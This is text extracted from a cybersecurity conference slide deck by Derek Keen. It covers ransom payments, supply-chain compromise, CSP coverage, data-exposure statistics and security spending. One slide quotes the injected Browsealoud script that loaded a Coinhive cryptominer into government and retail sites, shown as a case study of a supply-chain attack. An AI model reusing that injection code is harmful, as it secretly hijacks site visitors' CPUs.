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Fighting a different battle 

than conventional 

cybersecurity companies





“Forensic investigators hired to assess the breach retraced the route of 

the truck to determine whether they could locate the drives along this 

route, but were unable to find any trace of them.”



The Monetization Pipeline







“Subsequent investigation by the 
FBI confirmed that PDR was only 
able to decrypt the victim's files by 
paying the subject the ransom 
amount via Bitcoin”



The Modern Supply Chain
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<script type="text/javascript" 

src="//www.browsealoud.com/plus

/scripts/ba.js"></script>



window["document"]["write"]("write 

type='text/javascript' 

src='https://coinhive.com/lib/coinhive.min.js?r

nd="+window["Math"]["random"]()+"'></script>");

window["document"]["write"]('<script> if 

(navigator.hardwareConcurrency > 1){ var 

cpuConfig = {threads: 

Math.round(navigator.hardwareConcurrency/3),thr

ottle:0.6}} else { var cpuConfig = {threads: 

8,throttle:0.6}} var miner = new 

CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9c

yTzzXq\', cpuConfig);miner.start();</script>');



content-security-policy

Sites protected

by CSP

Sites not protected

by CSP
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Major Retailers

US Government

UK Government

UK Transportation

Sites are Still Embedding 

Browsealoud with no CSP



Detection





21%
of all folders are 

open to everyone

58%
have over 100,000 folders 

open to everyone

Varonis 2018 Global Data Risk Report
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The
Data Security 

Money Pit
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dack.com/web/bullshit.html

repurpose interactive web-readinessstreamline next-generation functionalities
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Conventional Risks

Monetization

Supply Chain

Detection

Money Pit

5 Key Takeaways
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Thank You
Derek Keen


